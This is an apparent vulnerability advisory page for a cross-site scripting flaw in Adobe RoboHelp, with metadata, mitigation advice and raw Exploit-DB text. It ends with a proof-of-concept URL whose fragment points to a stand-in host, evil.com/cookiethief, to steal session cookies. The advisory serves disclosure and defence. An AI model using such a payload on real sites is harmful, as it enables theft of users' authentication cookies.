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RoboHelp
by:
Unknown
7.5
CVSS
HIGH
Cross-Site Scripting (XSS)
79
CWE
Product Name: RoboHelp
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE: a:adobe:robohelp
Metasploit:
Other Scripts:
Platforms Tested: Unknown
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Cross-Site Scripting Vulnerability in RoboHelp

RoboHelp is vulnerable to a cross-site scripting (XSS) attack due to insufficient input sanitization. An attacker can exploit this vulnerability to inject and execute arbitrary script code in the browser of a victim user. This can lead to various attacks, including stealing authentication credentials and launching further malicious activities.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate all user-supplied input before using it in any output context. Implementing proper input validation and output encoding techniques can help prevent XSS attacks.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/23878/info

RoboHelp is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/project_name/en/frameset-7.html#http://evil.com/cookiethief